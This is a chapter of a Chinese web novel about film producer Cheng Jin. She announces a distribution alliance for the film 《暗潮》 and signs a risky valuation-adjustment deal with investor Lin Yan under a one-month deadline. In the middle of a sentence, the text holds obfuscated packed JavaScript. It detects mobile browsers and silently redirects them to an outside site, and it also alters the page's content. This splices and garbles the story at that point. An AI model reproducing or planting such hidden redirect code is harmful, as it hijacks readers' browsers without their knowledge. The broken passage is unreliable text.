此言一出，记者们瞬间捕捉到了兴奋点，又立刻追问：“这是不是业内盛传的‘宣发联盟’？您能否再透露一些细节？” 程今轻笑着摆手，语气不失礼貌又保留分寸：“具体细节很快会向公众公开，非常感谢大家对《暗潮》的关注，请大家保持期待。” 一连串闪光灯亮起，程今以一个平静的微笑结束了采访环节。她转身走下采访台时，目光微微一沉，心里非常清楚：今天这个小小的开放日只是开始，她主动抛出的这条“宣发联盟”信息，不仅是在给舆论制造话题，也是向一直虎视眈眈的对家释放明确的信号。 开放日结束不到一小时，#暗潮杀青#、#主创首次发声#等词条便接连爬上热搜。《暗潮》媒体日现场图、沈宴柳尧合影、程今的采访片段，迅速成为各大账号争抢的素材。最引发讨论的，是她那句言辞克制却意味深长的表态，“我们与数家发行公司及海外流媒体展开深度合作。” 这句话像一颗石子投入平静水面，激起行业内外的层层涟漪。 有人说这是一次大胆的市场试水，有人说这只是迫于形势的无奈之举。毕竟，在主流平台的首推位几乎被对家买断的当下，《暗潮》本就算不上顶配班底，加之拍摄期数次超支，后期宣传几乎等同于山穷水尽。想让这部片子“有地方可上”、“有观众能看”，程今确实只能走出传统路径，通过多方资源整合，在缝隙中杀出一条血路。 越是局势被看衰，议论声越是热烈。几个自媒体账号火速放出解析视频与长图标题：“破釜沉舟还是饮鸩止渴？”“女性制片人的孤注一掷？”“宣发联盟=宣发自救？”……甚至连“国产片宣发分级时代是否来临”这样的议题也被炒了上来，评论区吵作一团。 其中不乏冷嘲热讽—— “没有钱和主流平台签独家，只能拉一堆边缘公司抱团取暖。” “海外流媒体听着响亮，真进得去北美主频道再说吧。” “宣发联盟说得好听，听起来倒像众筹发行。” 面对这些声浪，程今并没有急于让唐夕回应。在她看来，舆论战从来不是看谁吵得凶，而是谁能等到关键节点丢出致命一击——样片，只要样片足够强，一条实打实的物料就能让全部质疑哑火。 这场宣发之争，某种意义上早已超出项目本身，它是一次试图撕裂旧格局的挑战，是在资金与资源高度倾斜的行业结构中，一个边缘制片人试图反攻主阵地的顽强尝试。 而回应这些冷言冷语最直接的方法，只有一个，那就是拿出让他们闭嘴的成品。 她没时间分神回击，每一分心力都投进了剪辑室和谈判桌。眼下最重要的不是舆论赢得多漂亮，而是：影片一旦完成，得有资格堂而皇之走进影院，在观众面前，赢得属于自己的位置。 然而，在对外释放“宣发联盟”信号的同时，程今还必须面对另一个更紧迫的内部难题，董事会的再次施压。 这天下午，在临川基金的会议室里，程今与林言再次坐到同一张桌前。落地窗外车水马龙，阳光透过玻璃打在桌面上，刺眼而冷冽。 林言穿着笔挺的深灰色西装，翻开手中的资料，直奔主题：“你提交的后期预算我们看过了，问题在于，金额远超预期。赵敏虽然表达了支持，但她一人之力，左右不了董事会。如果市场反馈不佳，我们必须考虑及时止损，包括抽回尚未投放的资金。” 程今心里早有准备，语气毫不让步：“我主动对外释出‘宣发联盟’的合作消息，就是要让大家看到我们并非孤军奋战。多点联动的宣发模式一旦铺开，能带来的不只是话题，还有覆盖半径。但想达成这一步，需要追加资金配套。” “追加？”林言冷笑一声，“从立项到杀青，你已经超出预算15%以上。董事会对你的耐心，正在被消耗。” 程今淡淡看他一眼，语气镇定：“所以我提出签对赌协议。如果项目达不到宣发与市场预期，你们可以收回所有追加资金，同时获得更高比例的股份处置。但如果我们做到了，我希望获得更多的操盘自主权。” 这话一出，林言明显愣了下。 他以为程今会提出某种缓冲方案，没想到她直接将个人利益绑上了最激烈的对赌方式。资本圈里这不是罕见之举，但若失败，程今不仅失去个人收益，更可能失掉她三年内积累的全部信用。 “勇气可嘉。”林言靠在椅背，目光复杂，“一旦输了，你就什么都没了。就算赢了，收益最多的也是我们。你图什么？” 程今看着他，眼神冷静如刀：“图我该拥有的掌控权。哪怕代价是孤注一掷。” 她顿了顿，又道：“你们看重的是回报，我要的是创作底线。《暗潮》不是站在主流红利里的项目，对家封死了大平台，我们若不另辟蹊径，唯一的下场就是被压在热搜和推荐之外。而只要我们能先在小范围引爆，再反向拖拽观众注意力，局势就还有机会翻转。” 林言望着她，神色慢慢收敛。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359166|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原以为程今只是“执拗”，如今却越来越像是在面对一个真正的对手——冷静、果决，有风险意识，也敢承担。 沉默片刻，他缓声说：“那好。你要对赌，我会将方案呈报董事会，并安排律师拟定合同。但必须给一个明确期限。一个月。首轮成片必须完成，同时展开试映，市场反馈不过关，对赌协议自动失效，资金即刻撤回。” “可以。”程今点头，“一个月内，我们肯定能交得出让大家都满意的版本。” 林言重新合上资料，语气带着一贯的冷淡利落：“董事会还会同步监控社交媒体和舆情动向。一旦有明显下滑，我们将立即叫停增投。” “成交。”程今吐出两个字，这场博弈暂告段落。 起身前，林言突然低声补了一句：“程制片，个人建议——你不必这么逼自己。其实还有更轻松的路。” 程今微笑：“我从来不认为轻松这种词，适用于我选择的方向。成功，从来是难的。” 她转身离开，脚步不快，却带着一股斩钉截铁的韧劲。林言站在原地，目送她的背影渐行渐远，唇角缓缓勾起。那不是挑衅，也不是轻蔑，而是一种……愈发浓烈的兴趣。 他忽然发现，他不再只是想赢下这场合作——他开始好奇，她还能撑到哪一步，又会如何反击而上。 一周后，程今正式签署了对赌协议。 董事会批下了一笔应急资金，用于后期剪辑、调色与宣发各环节的统筹调配。作为协议的一部分，她必须在一个月内交出一版能通过内部评估、并在小范围试映中获得正向反馈的成片。否则，所有资金将即刻收回，项目宣告终止。 消息一出，导演与后期团队一度沉默。这意味着再无缓冲时间，时钟的滴答声从此挂在每个人的耳边。一旦延误，或试映反响不佳，所有付出都将付之东流。 可程今的反应却出奇冷静：“这或许是我们最好的机会。我们再也不能浪费任何一帧。只要片子好看，观众会替我们发声。资本可以冷漠，但观众不会骗人。” 从那天起，剪辑室的灯光几乎昼夜不息。杨学宁与剪辑师老贺重新梳理动作戏、兄弟对峙与心理暗流的所有素材，力图让每一个闪光点都恰如其分地呈现。沈宴与柳尧也主动抽时间来看片，针对镜头衔接与角色呈现提出建议。 程今和唐夕则并肩推进宣发布局：海外流媒体的上线节奏、联合发行公司的地推策略、小城影院的点映路线……多点联动的每一个环节都需精准落位，一步走错，满盘皆输。 赵敏也在暗中持续提供支援。她虽然在董事会中话语权有限，却是最早愿意为程今下注的人。某次通话中，她语气平静：“你尽管做你想做的事。我只是你背后的支持者。你若成功，我替你在资本层面争话语权；你若失败，也别怕。就算跌倒，我想你也会很快站起来。” 电话那头沉默片刻，程今低声应道：“谢谢你。我会证明自己。” 这段压强式后期冲刺的每一天，都像在玻璃上奔跑，惊险、绷紧、容不得失误。 程今唯一能做的，就是咬紧牙关，往前冲。 她曾说过：“没什么好犹豫的。”现在，到了兑现这句话的时候。 那晚，程今独自走出后期基地，夜色沉沉，城市街道被冷白灯光拉得苍白模糊。她一手攥着手机，脑中掠过林言在会议室留下的那抹若隐若现的笑，分不清是挑衅，还是试探。 但她没有时间去猜资本的情绪。 比起林言的意味，更让她紧迫的，是一个月后——若无法交出一部真正能打动市场的成片，她这一路走来的所有努力，恐怕都将归零。 可她没有退。 没有退路，反倒逼人每一步都走得更狠、更准。 她打开备忘录，在手机上写下一行字： 【对自己，再狠一点。】 随后，她把手机收回口袋，脚步稳地迈入夜色之中。昏黄路灯下，她的背影被拉得细长而坚定。